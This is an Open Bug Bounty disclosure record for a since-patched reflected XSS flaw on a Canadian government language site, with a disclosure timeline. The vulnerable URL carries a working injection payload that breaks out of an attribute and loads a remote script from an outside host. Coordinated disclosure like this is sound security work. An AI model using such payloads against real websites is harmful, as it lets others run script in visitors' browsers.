noslangues-ourlanguages.gc.ca XSS vulnerability

2016-06-13T06:09:00
ID OBB:159054
Type openbugbounty
Reporter CoolCanuck
Modified 2017-07-27T09:49:00

Description

Vulnerable URL:
http://noslangues-ourlanguages.gc.ca/fss-gte/recherche-search-eng.php?query_t=%22%3E+%3Cscript+src%3Dhttps%3A%2F%2Fopenbugbounty.org%2F1.js%3E&submit;=Search&search;=1&type;=and#resultats-results
Details:

Description| Value
---|---
Patched:| Yes, at 27.07.2017
Latest check for patch:| 27.07.2017 09:49 GMT
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 297229
VIP website status:| No
Check noslangues-ourlanguages.gc.ca SSL connection:| (Grade: F)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability submitted via Open Bug Bounty| 13 June, 2016 06:09 GMT
Generic security notifications sent to website owner| 13 June, 2016 06:11 GMT
Notification sent to subscribers (without technical details)| 13 June, 2016 10:17 GMT
Vulnerability details disclosed by researcher| 13 June, 2016 16:49 GMT
Vulnerability patched by the website owner| 27 July, 2017 09:49 GMT